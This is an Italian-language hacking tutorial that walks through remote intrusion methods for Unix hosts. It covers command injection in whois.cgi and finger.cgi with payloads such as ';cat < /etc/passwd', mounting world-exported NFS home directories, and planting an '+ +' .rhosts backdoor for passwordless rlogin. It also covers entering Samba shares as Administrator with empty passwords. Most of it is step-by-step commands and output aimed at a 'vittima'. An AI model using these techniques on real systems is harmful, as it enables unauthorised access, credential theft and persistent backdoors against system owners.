Intro

Sembra che l'unico modo semplice per poter eseguire comandi su di un host da remoto sia l'utilizzo del celebre phf, ormai introvabile.
Ebbene, non è così. Esistono altri bug, sia antichi, sia recenti, che permettono di ottenere lo stesso risultato.
Il presente documento mostra alcuni metodi che consentono di eseguire comandi da remoto, o comunque permettono all'intrusore di accedere a un host senza avere un account su quel sistema.

 

WHOIS.CGI

Il whois.cgi è uno script che permette di verificare on~line l'esistenza di un dominio. Per esempio, se vogliamo ottenere informazioni su di un determinato dominio, basta immettere il nome del dominio nello spazio apposito e premere "Invio", e otteniamo una serie di informazioni sul dominio specificato. Ebbene, la versione 1.0 dello script che effettua questa operazione contiene un bug: se al posto del nome del dominio, inseriamo un comando Unix preceduto da ";" lo script lo esegue e ci restituisce l'output sul browser! Per esempio, se noi mettiamo

;id

otteniamo come risposta qualcosa del tipo:

uid=501(tritemius) gid=500(users)

come se avessimo eseguito il comando id da una shell.

Con

;cat < /etc/passwd

otterremo la lista del file delle password (che probabilmente sarà shadowed).
Esistono varianti di questo bug: in alcuni casi, invece di usare semplicemente il ";" si devono mettere anche le doppie apici; oppure un ";" anche in fondo al comando. Ecco il bug nelle sue tre varianti:

;comando
";comando
;comando;

Questo bug è discretamente diffuso: l'ho visto funzionare anche su sistemi abbastanza grandi. Ho trovato solo la prima variante, e l'ho visto funzionare solo su script contrassegnati dal numero di versione 1.0.

 

FINGER.CGI

Finger è un programma che mostra informazioni sugli utenti di un host. Il discorso è analogo al whois.cgi bug: ci sono siti che mettono on~line il finger. La pagina html richiama un cgi, appunto il finger.cgi. Se inseriamo nella text-box di input un comando Unix preceduto da "|", il comando sarà eseguito, esattamente come nel caso del whois.cgi.
Esempio:

|id

otteniamo come risposta qualcosa del tipo:

uid=501(tritemius) gid=500(users)

Anche questo script è diffuso più o meno come il whois.cgi (forse un pò meno). Non ho info sul numero di versione di questo script.

 

NETWORK FILE SYSTEM

Abbandoniamo i cgi e veniamo a un classico dell'hacking in ambiente Unix, ovvero il Network File System. Benché si tratti di un metodo assai datato è impressionante il numero di sistemi tuttora attaccabili con questo sistema. Unix permette di condividere directory attraverso una rete. Questo significa che un computer remoto può "montare" sul proprio sistema una o più directory del sistema locale. Il computer remoto monta la directory con il comando mount lo stesso comando utilizzato per montare floppy, cd-rom, partizioni. Dopo che questa operazione è stata eseguita il sistema remoto può accedere alla directory condivisa come se questa fosse in locale, come se facesse parte dello stesso hard-disk; l'utente accede a questa directory come accede a tutte le altre, con i comandi classici (cd,mv,cp,rm...). Tutto il meccanismo è completamente trasparente all'utente.
Per controllare se un sistema condivide directory attraverso NFS, basta eseguire

showmount -e nomehost

Se esistono directory condivise queste verranno listate:

/home host1 host2 host3
/usr host1

Questo esempio mostra quello che può risultare dall'esecuzione del comando showmount, ovvero una serie di directory (2 in questo case,home e usr) seguite dal nome degli host che possono accedere a queste risorse. Come si intuisce, queste directory possono essere montate solo dai sistemi elencati (host1,host2,host3). Ma se al posto di host1,host2,host3 ci fosse stato everyone, allora le due directory sarebbero state leggibili da chiunque...

Per esempio:

showmount -e www.pippo.com
/home everyone
/home1 everyone
/home2 everyone

L'host www.pippo.com esporta 3 directory; queste directory possono essere montate da qualsiasi sistema!!!
Quindi eseguiamo

mount www.pippo.com:/home /mnt

A questo punto nella directory mnt del nostro sistema troveremo il contenuto della directory home dell'host www.pippo.com!

Con

cd mnt
ls

avremo la lista della directory home

/joe /john /mike

Ora basta entrare nella direcotry di un utente (es.: cd joe),inserire la più classica delle backdoor:

echo '+ +' >> .rhosts

ed eseguire un login remoto

rlogin -l joe www.pippo.com

per avere una shell senza richiesta di password.

Questo metodo funziona ancora. In Oriente si trovano molti sistemi con questo tipo di problema.

 

NETBIOS & LINUX: SAMBA HACKING

Molti avranno già sperimentato il netbios hacking da Windows utilizzando netstat. Qui viene illustrato come la stessa tecnica può essere utilizzata anche con Linux; si deve sapere inoltre che la condivisione di risorse tramite netbios (la famosa porta 139) non è una caratteristica dei sistemi Microsoft: anche Unix permette lo stesso tipo di servizio tramite Samba server.
Per accedere ai servizi netbios sotto Linux occorre il Samba client (smbclient), che molto probabilmente troverete nella vostra distribuzione. Eseguendo smbclient senza argomenti viene mostrata la lista delle opzioni:

Usage: smbclient service <password> [-p port] [-d debuglevel] [-l log]
Version 1.9.17p4


-p port listen on the specified port
-d debuglevel set the debuglevel
-l log basename. Basename for log/debug files
-n netbios name. Use this name as my netbios name
-N don't ask for a password
-P connect to service as a printer
-M host send a winpopup message to the host
-m max protocol set the max protocol level
-L host get a list of shares available on a host
-I dest IP use this IP to connect to
-E write messages to stderr instead of stdout
-U username set the network username
-W workgroup set the workgroup name
-c command string execute semicolon separated commands
-T<c|x>IXgbNa command line tar
-D directory start from directory

A noi interessa l'opzione -L

smbclient -L "nome_host_dns"
(per nome_host_dns si intende il nome dell'host tipo www.pippo.com)

Questo comando mostra le eventuali risorse che il sistema remoto mette a disposizione:


Added interface ip=192.168.0.2 bcast=192.168.0.255
nmask=255.255.255.0
Unknown socket option TCP_NODELAY
Server time is Tue Jan 27 22:54:18 2000
Timezone is UTC+1.0
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 1.9.17p4]
connected as guest security=user


Server=[LOCALHOST] User=[nobody] Workgroup=[WORKGROUP] Domain=[WORKGROUP]

Sharename Type Comment
--------- ---- -------
IPC$ IPC IPC Service (Samba 1.9.17p4)
X Disk "Directory condivisa"

This machine has a browse list:

Server Comment
--------- -------
VITTIMA Samba 1.9.17p4


This machine has a workgroup list:

Workgroup Master
--------- -------
OTHERGROUP OTHER
WORKGROUP VITTIMA


Ora possiamo accedere. Come? Ancora con smbclient. Vediamo:

smbclient \\\\VITTIMA\\X -I ip_vittima

Dove ip_vittima è l'ip che avrete ottenuto con il lookup del nome_host_dns. Talvolta appare la richiesta di una password: normalmente basta battere invio per ottenere l'accesso; se questo non dovesse funzionare, si può tentare di entrare specificando l'account con l'opzione -U

smbclient \\\\VITTIMA\\X -I ip_vittima -U Administrator

battendo sempre invio all'eventuale richiesta di password. Una volta entrati vi troverete di fronte a un prompt del tipo

smb>

e potrete interagire con il server più o meno come si farebbe con ftp. Con ? si ottiene la lista dei comandi:

smb: \> ?


ls dir lcd cd pwd
get mget put mput rename
more mask del rm mkdir
md rmdir rd pq prompt
recurse translate lowercase print printmode
queue qinfo cancel quit q
exit newer archive tar blocksize
tarmode setmode help ? !

è possibile anche montare la diretory remota come si fa con il NFS che abbiamo visto prima: però invece di usare mount si usa smbmount:

smbmount //VITTIMA/X /mnt -I <ip_vittima>

Per poter montare il SMB file system ci si deve assicurare che il proprio kernel lo supporti; in caso contrario sarà necessario ricompiarlo includendo questa caratteristica.
Una volta montata la directory remota, si potranno usare i comandi Unix come nel caso del NFS.